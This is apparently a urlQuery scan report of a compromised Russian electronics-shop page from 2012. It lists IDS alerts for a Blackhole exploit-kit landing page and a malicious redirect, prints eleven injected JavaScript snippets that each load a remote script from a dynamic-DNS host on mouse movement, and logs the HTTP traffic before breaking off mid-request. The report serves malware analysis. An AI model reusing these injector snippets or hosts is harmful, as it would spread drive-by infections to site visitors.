Overview

URLhttp://sonykdl.ru/av1/harman/av-r347.htm
IP81.177.139.74
ASNAS8342 OJSC RTComm.RU
Location Russian Federation
Report completed2012-11-07 10:00:15 CET
StatusLoading report..
urlQuery Alerts Detected SutraTDS URL pattern


Settings

UserAgentMozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Referer
Adobe Reader8.0
Java1.6.0_26


Intrusion Detection Systems

Suricata /w Emerging Threats Pro
Timestamp Source IP Destination IP Severity Alert
2012-11-07 09:59:42 81.177.139.74 urlQuery Client3ET RBN Known Russian Business Network IP (360)
2012-11-07 09:59:42 81.177.139.74 urlQuery Client1ET CURRENT_EVENTS c3284d Malware Network Compromised Redirect (comments 3)
2012-11-07 09:59:42 81.177.139.74 urlQuery Client1ET CURRENT_EVENTS c3284d Malware Network Compromised Redirect (comments 3)
Snort /w Sourcefire VRT
Timestamp Source IP Destination IP Severity Alert
2012-11-07 09:59:42 81.177.139.74 urlQuery Client1EXPLOIT-KIT Blackhole landing page with specific structure - prototype catch
2012-11-07 09:59:42 81.177.139.74 urlQuery Client1EXPLOIT-KIT Blackhole landing page with specific structure - prototype catch
2012-11-07 09:59:42 81.177.139.74 urlQuery Client1EXPLOIT-KIT Blackhole landing page with specific structure - prototype catch
2012-11-07 09:59:42 81.177.139.74 urlQuery Client1EXPLOIT-KIT Blackhole landing page with specific structure - prototype catch
2012-11-07 09:59:42 81.177.139.74 urlQuery Client1EXPLOIT-KIT Blackhole landing page with specific structure - prototype catch
2012-11-07 09:59:42 81.177.139.74 urlQuery Client1EXPLOIT-KIT Blackhole landing page with specific structure - prototype catch


Recent reports on same IP/ASN/Domain

Last 6 reports on IP: 81.177.139.74

Date Alerts / IDS URL IP
2013-02-19 04:23:180 / 7http://sonykdl.ru/bluray/pioneer/bdp_lx71.htm81.177.139.74
2013-02-13 23:19:040 / 7http://sonykdl.ru/av1/denon/avr-2309_silver.htm81.177.139.74
2013-02-13 18:40:310 / 7http://sonykdl.ru/av1/name/x-sr806_blactk.htm81.177.139.74
2013-02-13 07:00:370 / 7http://www.sonykdl.ru/theatres/samsung/ht-tkz216.htm81.177.139.74
2013-02-11 23:35:500 / 7http://sonykdl.ru/acoustic/klipsch/rating-desc-5.htm81.177.139.74
2013-02-11 23:23:050 / 7http://sonykdl.ru/acoustic/klipsch/rb-61_black.htm81.177.139.74

Last 6 reports on ASN: AS8342 OJSC RTComm.RU

Date Alerts / IDS URL IP
2013-02-20 02:10:390 / 1http://ned.webalan.ru/language/sv-SE/backup.php?ncrnd=DtcqfNFqmq81.177.141.9
2013-02-20 01:56:111 / 8http://radikal.ru/F/s59.radikal.ru/i165/1105/84/96c5a899d458.jpg.html81.176.238.246
2013-02-20 01:38:361 / 6http://www.windows2.ru/go/?http://fastpic.ru/view/52/2013/0218/48d0551e9dc55f8e139f4628407f91d3 (...)81.177.140.43
2013-02-19 22:47:380 / 2http://tutzvezdy.ru/81.177.139.151
2013-02-19 22:16:090 / 1http://www.gree-perm.ru/crawfishdatejohnpatterson/81.177.25.130
2013-02-19 18:06:100 / 0http://217.107.217.21/mod_pizza217.107.217.21

Last 6 reports on domain: sonykdl.ru

Date Alerts / IDS URL IP
2013-02-19 04:23:180 / 7http://sonykdl.ru/bluray/pioneer/bdp_lx71.htm81.177.139.74
2013-02-13 23:19:040 / 7http://sonykdl.ru/av1/denon/avr-2309_silver.htm81.177.139.74
2013-02-13 18:40:310 / 7http://sonykdl.ru/av1/name/x-sr806_blactk.htm81.177.139.74
2013-02-11 23:35:500 / 7http://sonykdl.ru/acoustic/klipsch/rating-desc-5.htm81.177.139.74
2013-02-11 23:23:050 / 7http://sonykdl.ru/acoustic/klipsch/rb-61_black.htm81.177.139.74
2013-02-11 21:31:050 / 7http://sonykdl.ru/accessories/stoyka/gorka_720hi-fi.htm81.177.139.74



JavaScript

Executed Scripts (5)


Executed Evals (11)

#1 JavaScript::Eval (size: 690, repeated: 1) 

(function() {
    var url = 'http://4238ho.fjqydkotia.podzone.net/g/';
    if (typeof window.xyzflag === 'undefined') {
        window.xyzflag = 0;
    }
    document.onmousemove = function() {
        if (window.xyzflag === 0) {
            window.xyzflag = 1;
            var head = document.getElementsByTagName('head')[0];
            var script = document.createElement('script');
            script.type = 'text/javascript';
            script.onreadystatechange = function() {
                if (this.readyState == 'complete') {
                    window.xyzflag = 2;
                }
            };
            script.onload = function() {
                window.xyzflag = 2;
            };
            script.src = url + Math.random().toString().substring(3) + '.js';
            head.appendChild(script);
        }
    };
})();

#2 JavaScript::Eval (size: 690, repeated: 1) 

(function() {
    var url = 'http://7ulw7.tlkamhsdss.servebbs.com/g/';
    if (typeof window.xyzflag === 'undefined') {
        window.xyzflag = 0;
    }
    document.onmousemove = function() {
        if (window.xyzflag === 0) {
            window.xyzflag = 1;
            var head = document.getElementsByTagName('head')[0];
            var script = document.createElement('script');
            script.type = 'text/javascript';
            script.onreadystatechange = function() {
                if (this.readyState == 'complete') {
                    window.xyzflag = 2;
                }
            };
            script.onload = function() {
                window.xyzflag = 2;
            };
            script.src = url + Math.random().toString().substring(3) + '.js';
            head.appendChild(script);
        }
    };
})();

#3 JavaScript::Eval (size: 697, repeated: 1) 

(function() {
    var url = 'http://91e7q25.kckbaqhcsy.dyndns-server.com/g/';
    if (typeof window.xyzflag === 'undefined') {
        window.xyzflag = 0;
    }
    document.onmousemove = function() {
        if (window.xyzflag === 0) {
            window.xyzflag = 1;
            var head = document.getElementsByTagName('head')[0];
            var script = document.createElement('script');
            script.type = 'text/javascript';
            script.onreadystatechange = function() {
                if (this.readyState == 'complete') {
                    window.xyzflag = 2;
                }
            };
            script.onload = function() {
                window.xyzflag = 2;
            };
            script.src = url + Math.random().toString().substring(3) + '.js';
            head.appendChild(script);
        }
    };
})();

#4 JavaScript::Eval (size: 684, repeated: 1) 

(function() {
    var url = 'http://bxpagfufga.homeunix.com/g/';
    if (typeof window.xyzflag === 'undefined') {
        window.xyzflag = 0;
    }
    document.onmousemove = function() {
        if (window.xyzflag === 0) {
            window.xyzflag = 1;
            var head = document.getElementsByTagName('head')[0];
            var script = document.createElement('script');
            script.type = 'text/javascript';
            script.onreadystatechange = function() {
                if (this.readyState == 'complete') {
                    window.xyzflag = 2;
                }
            };
            script.onload = function() {
                window.xyzflag = 2;
            };
            script.src = url + Math.random().toString().substring(3) + '.js';
            head.appendChild(script);
        }
    };
})();

#5 JavaScript::Eval (size: 685, repeated: 2) 

(function() {
    var url = 'http://iejaprwsjj.is-a-guru.com/g/';
    if (typeof window.xyzflag === 'undefined') {
        window.xyzflag = 0;
    }
    document.onmousemove = function() {
        if (window.xyzflag === 0) {
            window.xyzflag = 1;
            var head = document.getElementsByTagName('head')[0];
            var script = document.createElement('script');
            script.type = 'text/javascript';
            script.onreadystatechange = function() {
                if (this.readyState == 'complete') {
                    window.xyzflag = 2;
                }
            };
            script.onload = function() {
                window.xyzflag = 2;
            };
            script.src = url + Math.random().toString().substring(3) + '.js';
            head.appendChild(script);
        }
    };
})();

#6 JavaScript::Eval (size: 685, repeated: 2) 

(function() {
    var url = 'http://kpqfjijmlg.dyndns-ip.com/g/';
    if (typeof window.xyzflag === 'undefined') {
        window.xyzflag = 0;
    }
    document.onmousemove = function() {
        if (window.xyzflag === 0) {
            window.xyzflag = 1;
            var head = document.getElementsByTagName('head')[0];
            var script = document.createElement('script');
            script.type = 'text/javascript';
            script.onreadystatechange = function() {
                if (this.readyState == 'complete') {
                    window.xyzflag = 2;
                }
            };
            script.onload = function() {
                window.xyzflag = 2;
            };
            script.src = url + Math.random().toString().substring(3) + '.js';
            head.appendChild(script);
        }
    };
})();

#7 JavaScript::Eval (size: 691, repeated: 1) 

(function() {
    var url = 'http://oytgcxyscr.is-a-linux-user.org/g/';
    if (typeof window.xyzflag === 'undefined') {
        window.xyzflag = 0;
    }
    document.onmousemove = function() {
        if (window.xyzflag === 0) {
            window.xyzflag = 1;
            var head = document.getElementsByTagName('head')[0];
            var script = document.createElement('script');
            script.type = 'text/javascript';
            script.onreadystatechange = function() {
                if (this.readyState == 'complete') {
                    window.xyzflag = 2;
                }
            };
            script.onload = function() {
                window.xyzflag = 2;
            };
            script.src = url + Math.random().toString().substring(3) + '.js';
            head.appendChild(script);
        }
    };
})();

#8 JavaScript::Eval (size: 693, repeated: 1) 

(function() {
    var url = 'http://p8259.jyyrepdrqg.dyndns-free.com/g/';
    if (typeof window.xyzflag === 'undefined') {
        window.xyzflag = 0;
    }
    document.onmousemove = function() {
        if (window.xyzflag === 0) {
            window.xyzflag = 1;
            var head = document.getElementsByTagName('head')[0];
            var script = document.createElement('script');
            script.type = 'text/javascript';
            script.onreadystatechange = function() {
                if (this.readyState == 'complete') {
                    window.xyzflag = 2;
                }
            };
            script.onload = function() {
                window.xyzflag = 2;
            };
            script.src = url + Math.random().toString().substring(3) + '.js';
            head.appendChild(script);
        }
    };
})();

#9 JavaScript::Eval (size: 685, repeated: 1) 

(function() {
    var url = 'http://pjojpjnjxg.is-a-chef.org/g/';
    if (typeof window.xyzflag === 'undefined') {
        window.xyzflag = 0;
    }
    document.onmousemove = function() {
        if (window.xyzflag === 0) {
            window.xyzflag = 1;
            var head = document.getElementsByTagName('head')[0];
            var script = document.createElement('script');
            script.type = 'text/javascript';
            script.onreadystatechange = function() {
                if (this.readyState == 'complete') {
                    window.xyzflag = 2;
                }
            };
            script.onload = function() {
                window.xyzflag = 2;
            };
            script.src = url + Math.random().toString().substring(3) + '.js';
            head.appendChild(script);
        }
    };
})();

#10 JavaScript::Eval (size: 686, repeated: 1) 

(function() {
    var url = 'http://vkvtppkyvw.groks-the.info/g/';
    if (typeof window.xyzflag === 'undefined') {
        window.xyzflag = 0;
    }
    document.onmousemove = function() {
        if (window.xyzflag === 0) {
            window.xyzflag = 1;
            var head = document.getElementsByTagName('head')[0];
            var script = document.createElement('script');
            script.type = 'text/javascript';
            script.onreadystatechange = function() {
                if (this.readyState == 'complete') {
                    window.xyzflag = 2;
                }
            };
            script.onload = function() {
                window.xyzflag = 2;
            };
            script.src = url + Math.random().toString().substring(3) + '.js';
            head.appendChild(script);
        }
    };
})();

#11 JavaScript::Eval (size: 686, repeated: 1) 

(function() {
    var url = 'http://xsnmkgpvon.better-than.tv/g/';
    if (typeof window.xyzflag === 'undefined') {
        window.xyzflag = 0;
    }
    document.onmousemove = function() {
        if (window.xyzflag === 0) {
            window.xyzflag = 1;
            var head = document.getElementsByTagName('head')[0];
            var script = document.createElement('script');
            script.type = 'text/javascript';
            script.onreadystatechange = function() {
                if (this.readyState == 'complete') {
                    window.xyzflag = 2;
                }
            };
            script.onload = function() {
                window.xyzflag = 2;
            };
            script.src = url + Math.random().toString().substring(3) + '.js';
            head.appendChild(script);
        }
    };
})();

Executed Writes (2)

#1 JavaScript::Write (size: 280, repeated: 1) 

<a href='http://www.liveinternet.ru/click' target=_blank><img src='http://counter.yadro.ru/hit?t26.5;r;s1176*885*24;uhttp%3A//sonykdl.ru/av1/harman/av-r347.htm;0.16986538520764127' alt='' title='LiveInternet: ?>:070=> G8A;> ?>A5B8B5;59 70 A53>4=O' border=0 width=88 height=15></a>

#2 JavaScript::Write (size: 218, repeated: 1) 

<script src='http://825614odgak.emoo.projetolupanamao.com.br/code?id=15474&seoref=&parameter=$keyword&se=$se&ur=1&HTTP_REFERER=http://sonykdl.ru/av1/harman/av-r347.htm&default_keyword=' type='text/javascript'></script>


HTTP Transactions (31)


Request Response 
GET /favicon.ico HTTP/1.1

Host: sonykdl.ru

User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: image/png,image/*;q=0.8,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Cookie: PHPSESSID=041192ff2e38617422c2d0c73dd5ea75
 
HTTP/1.1 302 Found

Content-Type: text/html

Date: Wed, 07 Nov 2012 08:59:42 GMT
Connection: close
Server: Jino.ru/mod_pizza
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Location: /404.htm?q=L2Zhdmljb24uaWNv
Content-Length: 0
GET /av1/harman/av-r347.htm HTTP/1.1

Host: sonykdl.ru

User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
 
HTTP/1.1 200 OK

Content-Type: text/html

Date: Wed, 07 Nov 2012 08:59:42 GMT
Transfer-Encoding: chunked
Connection: close
Server: Jino.ru/mod_pizza
Set-Cookie: PHPSESSID=041192ff2e38617422c2d0c73dd5ea75; path=/
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
GET /template/style.css HTTP/1.1

Host: sonykdl.ru

User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: text/css,*/*;q=0.1
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: http://sonykdl.ru/av1/harman/av-r347.htm
Cookie: PHPSESSID=041192ff2e38617422c2d0c73dd5ea75
 
HTTP/1.1 200 OK

Content-Type: text/css

Date: Wed, 07 Nov 2012 08:59:42 GMT
Connection: close
Server: Jino.ru/mod_pizza
Last-Modified: Mon, 23 Mar 2009 22:41:13 GMT
Etag: &quot;e5401e-10f0-465d0f6ad5440&quot;
Accept-Ranges: bytes
Content-Length: 4336
GET /images/lgtype.jpg HTTP/1.1

Host: sonykdl.ru

User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: image/png,image/*;q=0.8,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: http://sonykdl.ru/av1/harman/av-r347.htm
Cookie: PHPSESSID=041192ff2e38617422c2d0c73dd5ea75
 
HTTP/1.1 200 OK

Content-Type: image/jpeg

Date: Wed, 07 Nov 2012 08:59:42 GMT
Connection: close
Server: Jino.ru/mod_pizza
Last-Modified: Mon, 23 Mar 2009 22:35:11 GMT
Etag: &quot;de8039-1ed5-465d0e119a5c0&quot;
Accept-Ranges: bytes
Content-Length: 7893
GET /images/phone.jpg HTTP/1.1

Host: sonykdl.ru

User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: image/png,image/*;q=0.8,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: http://sonykdl.ru/av1/harman/av-r347.htm
Cookie: PHPSESSID=041192ff2e38617422c2d0c73dd5ea75
 
HTTP/1.1 200 OK

Content-Type: image/jpeg

Date: Wed, 07 Nov 2012 08:59:42 GMT
Connection: close
Server: Jino.ru/mod_pizza
Last-Modified: Mon, 23 Mar 2009 22:35:15 GMT
Etag: &quot;de803f-1e87-465d0e156aec0&quot;
Accept-Ranges: bytes
Content-Length: 7815
GET /images/li.gif HTTP/1.1

Host: sonykdl.ru

User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: image/png,image/*;q=0.8,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: http://sonykdl.ru/av1/harman/av-r347.htm
Cookie: PHPSESSID=041192ff2e38617422c2d0c73dd5ea75
 
HTTP/1.1 200 OK

Content-Type: image/gif

Date: Wed, 07 Nov 2012 08:59:42 GMT
Connection: close
Server: Jino.ru/mod_pizza
Last-Modified: Mon, 23 Mar 2009 22:35:13 GMT
Etag: &quot;de803b-3c-465d0e1382a40&quot;
Accept-Ranges: bytes
Content-Length: 60
GET /images/a2.jpg HTTP/1.1

Host: sonykdl.ru

User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: image/png,image/*;q=0.8,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: http://sonykdl.ru/av1/harman/av-r347.htm
Cookie: PHPSESSID=041192ff2e38617422c2d0c73dd5ea75
 
HTTP/1.1 200 OK

Content-Type: image/jpeg

Date: Wed, 07 Nov 2012 08:59:42 GMT
Connection: close
Server: Jino.ru/mod_pizza
Last-Modified: Mon, 23 Mar 2009 22:34:37 GMT
Etag: &quot;de8029-60ac-465d0df12d940&quot;
Accept-Ranges: bytes
Content-Length: 24748
GET /java/script.js HTTP/1.1

Host: sonykdl.ru

User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: http://sonykdl.ru/av1/harman/av-r347.htm
Cookie: PHPSESSID=041192ff2e38617422c2d0c73dd5ea75
 
HTTP/1.1 200 OK

Content-Type: application/javascript

Date: Wed, 07 Nov 2012 08:59:42 GMT
Connection: close
Server: Jino.ru/mod_pizza
Last-Modified: Fri, 28 Sep 2012 22:04:58 GMT
Etag: &quot;df403a-131de-4caca3f1e5680&quot;
Accept-Ranges: bytes
Content-Length: 78302
GET /java/basket.js HTTP/1.1

Host: sonykdl.ru

User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: http://sonykdl.ru/av1/harman/av-r347.htm
Cookie: PHPSESSID=041192ff2e38617422c2d0c73dd5ea75
 
HTTP/1.1 200 OK

Content-Type: application/javascript

Date: Wed, 07 Nov 2012 08:59:42 GMT
Connection: close
Server: Jino.ru/mod_pizza
Last-Modified: Fri, 28 Sep 2012 22:04:54 GMT
Etag: &quot;df4039-f18a-4caca3ee14d80&quot;
Accept-Ranges: bytes
Content-Length: 61834
GET /code?id=15474&seoref=&parameter=$keyword&se=$se&ur=1&HTTP_REFERER=http://sonykdl.ru/av1/harman/av-r347.htm&default_keyword= HTTP/1.1

Host: 825614odgak.emoo.projetolupanamao.com.br
GET /code?id=15474&amp;seoref=&amp;parameter=$keyword&amp;se=$se&amp;ur=1&amp;HTTP_REFERER=http://sonykdl.ru/av1/harman/av-r347.htm&amp;default_keyword= HTTP/1.1

User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: http://sonykdl.ru/av1/harman/av-r347.htm
 
HTTP/1.1 200 OK

Content-Type: text/html; charset=UTF-8

Server: nginx/1.0.15
Date: Wed, 07 Nov 2012 09:02:48 GMT
Connection: keep-alive
Set-Cookie: rsbfv13=_0_; domain=825614odgak.emoo.projetolupanamao.com.br; path=/; expires=Thu, 08-Nov-2012 08:59:42 GMT
Content-Length: 0
GET /images/d2.gif HTTP/1.1

Host: sonykdl.ru

User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: image/png,image/*;q=0.8,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: http://sonykdl.ru/av1/harman/av-r347.htm
Cookie: PHPSESSID=041192ff2e38617422c2d0c73dd5ea75; viewpage=960b167bdba63d72a95af35a11cff132
 
HTTP/1.1 200 OK

Content-Type: image/gif

Date: Wed, 07 Nov 2012 08:59:43 GMT
Connection: close
Server: Jino.ru/mod_pizza
Last-Modified: Mon, 23 Mar 2009 22:35:08 GMT
Etag: &quot;de8034-5b-465d0e0ebdf00&quot;
Accept-Ranges: bytes
Content-Length: 91
GET /images/add_cart1.jpg HTTP/1.1

Host: sonykdl.ru

User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: image/png,image/*;q=0.8,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: http://sonykdl.ru/av1/harman/av-r347.htm
Cookie: PHPSESSID=041192ff2e38617422c2d0c73dd5ea75; viewpage=960b167bdba63d72a95af35a11cff132
 
HTTP/1.1 200 OK

Content-Type: image/jpeg

Date: Wed, 07 Nov 2012 08:59:43 GMT
Connection: close
Server: Jino.ru/mod_pizza
Last-Modified: Mon, 23 Mar 2009 22:34:40 GMT
Etag: &quot;de802f-6cd-465d0df40a000&quot;
Accept-Ranges: bytes
Content-Length: 1741
GET /images/pixel.gif HTTP/1.1

Host: sonykdl.ru

User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: image/png,image/*;q=0.8,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: http://sonykdl.ru/av1/harman/av-r347.htm
Cookie: PHPSESSID=041192ff2e38617422c2d0c73dd5ea75; viewpage=960b167bdba63d72a95af35a11cff132
 
HTTP/1.1 200 OK

Content-Type: image/gif

Date: Wed, 07 Nov 2012 08:59:43 GMT
Connection: close
Server: Jino.ru/mod_pizza
Last-Modified: Mon, 23 Mar 2009 22:35:16 GMT
Etag: &quot;de8041-327-465d0e165f100&quot;
Accept-Ranges: bytes
Content-Length: 807
GET /images/1.gif HTTP/1.1

Host: sonykdl.ru

User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: image/png,image/*;q=0.8,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: http://sonykdl.ru/av1/harman/av-r347.htm
Cookie: PHPSESSID=041192ff2e38617422c2d0c73dd5ea75; viewpage=960b167bdba63d72a95af35a11cff132
 
HTTP/1.1 200 OK

Content-Type: image/gif

Date: Wed, 07 Nov 2012 08:59:43 GMT
Connection: close
Server: Jino.ru/mod_pizza
Last-Modified: Mon, 23 Mar 2009 22:34:35 GMT
Etag: &quot;de8023-6c3-465d0def454c0&quot;
Accept-Ranges: bytes
Content-Length: 1731
GET /images/lsmall.gif HTTP/1.1

Host: sonykdl.ru

User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: image/png,image/*;q=0.8,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: http://sonykdl.ru/av1/harman/av-r347.htm
Cookie: PHPSESSID=041192ff2e38617422c2d0c73dd5ea75; viewpage=960b167bdba63d72a95af35a11cff132
 
HTTP/1.1 200 OK

Content-Type: image/gif

Date: Wed, 07 Nov 2012 08:59:43 GMT
Connection: close
Server: Jino.ru/mod_pizza
Last-Modified: Mon, 23 Mar 2009 22:35:13 GMT
Etag: &quot;de803c-3f6-465d0e1382a40&quot;
Accept-Ranges: bytes
Content-Length: 1014
GET /hit?t26.5;r;s1176*885*24;uhttp%3A//sonykdl.ru/av1/harman/av-r347.htm;0.16986538520764127 HTTP/1.1

Host: counter.yadro.ru

User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: image/png,image/*;q=0.8,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: http://sonykdl.ru/av1/harman/av-r347.htm
 
HTTP/1.1 302 Moved Temporarily

Content-Type: text/html

Date: Wed, 07 Nov 2012 08:59:43 GMT
Server: 0W/0.8c
Location: http://counter.yadro.ru/hit?q;t26.5;r;s1176*885*24;uhttp%3A//sonykdl.ru/av1/harman/av-r347.htm;0.16986538520764127
Content-Length: 32
Expires: Tue, 08 Nov 2011 00:00:10 GMT
Pragma: no-cache
Cache-Control: no-cache
P3P: policyref=&quot;/w3c/p3p.xml&quot;, CP=&quot;UNI&quot;
Set-Cookie: FTID=1GcYB_3aHWn2; path=/; expires=Thu, 07 Nov 2013 00:00:10 GMT; domain=.yadro.ru
GET /hit?q;t26.5;r;s1176*885*24;uhttp%3A//sonykdl.ru/av1/harman/av-r347.htm;0.16986538520764127 HTTP/1.1

Host: counter.yadro.ru

User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: http://sonykdl.ru/av1/harman/av-r347.htm
Cookie: FTID=1GcYB_3aHWn2
 
HTTP/1.1 200 OK

Content-Type: image/gif

Date: Wed, 07 Nov 2012 08:59:43 GMT
Server: 0W/0.8c
Connection: Close
Content-Length: 133
Expires: Tue, 08 Nov 2011 00:00:10 GMT
Pragma: no-cache
Cache-Control: no-cache
P3P: policyref=&quot;/w3c/p3p.xml&quot;, CP=&quot;UNI&quot;
Set-Cookie: VID=3MnXyg1C6-12; path=/; expires=Thu, 07 Nov 2013 00:00:10 GMT; domain=.yadro.ru
GET /images/a5.gif HTTP/1.1

Host: sonykdl.ru

User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: image/png,image/*;q=0.8,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: http://sonykdl.ru/av1/harman/av-r347.htm
Cookie: PHPSESSID=041192ff2e38617422c2d0c73dd5ea75; viewpage=960b167bdba63d72a95af35a11cff132
 
HTTP/1.1 200 OK

Content-Type: image/gif

Date: Wed, 07 Nov 2012 08:59:43 GMT
Connection: close
Server: Jino.ru/mod_pizza
Last-Modified: Mon, 23 Mar 2009 22:34:38 GMT
Etag: &quot;de802c-19c-465d0df221b80&quot;
Accept-Ranges: bytes
Content-Length: 412
GET /images/c1.gif HTTP/1.1

Host: sonykdl.ru

User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: image/png,image/*;q=0.8,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: http://sonykdl.ru/av1/harman/av-r347.htm
Cookie: PHPSESSID=041192ff2e38617422c2d0c73dd5ea75; viewpage=960b167bdba63d72a95af35a11cff132
 
HTTP/1.1 200 OK

Content-Type: image/gif

Date: Wed, 07 Nov 2012 08:59:43 GMT
Connection: close
Server: Jino.ru/mod_pizza
Last-Modified: Mon, 23 Mar 2009 22:35:06 GMT
Etag: &quot;de8031-2d-465d0e0cd5a80&quot;
Accept-Ranges: bytes
Content-Length: 45
GET /images/a4.gif HTTP/1.1

Host: sonykdl.ru

User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: image/png,image/*;q=0.8,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
